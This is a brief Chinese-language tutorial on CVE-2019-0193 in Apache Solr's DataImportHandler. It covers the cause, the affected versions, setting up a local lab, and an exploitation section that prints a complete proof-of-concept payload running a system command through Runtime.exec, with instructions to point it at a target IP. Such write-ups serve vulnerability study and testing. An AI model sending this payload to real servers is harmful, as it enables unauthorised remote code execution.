0X00漏洞简介
CVE-2019-0193是一个存在于Apache solr搜索引擎中的命令执行漏洞
0X01漏洞原因
Apache solr 是一款开源的搜索服务器并且使用java语言开发;主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词 处理,根据分词结果查找索引,继而找到文档
在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制
0X02漏洞影响范围
影响范围: Apache solr < 8.2.0
0X03漏洞环境搭建
解压完成后使用cmd进入bin文件夹执行solr –e dih
访问系统提示的界面http://localhost:8983/solr即可访问
0X04漏洞利用
cmd 命令执行curl http://localhost:8983/solr/admin/cores (或者浏览器访问)可以获取core信息
根据获取的core信息中name信息构造payload下面的 <your_core_name> 需要替换为你获取到的 core 的 name(共两处)并将host改成你的目标机ip
payload:
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>x
结果如下: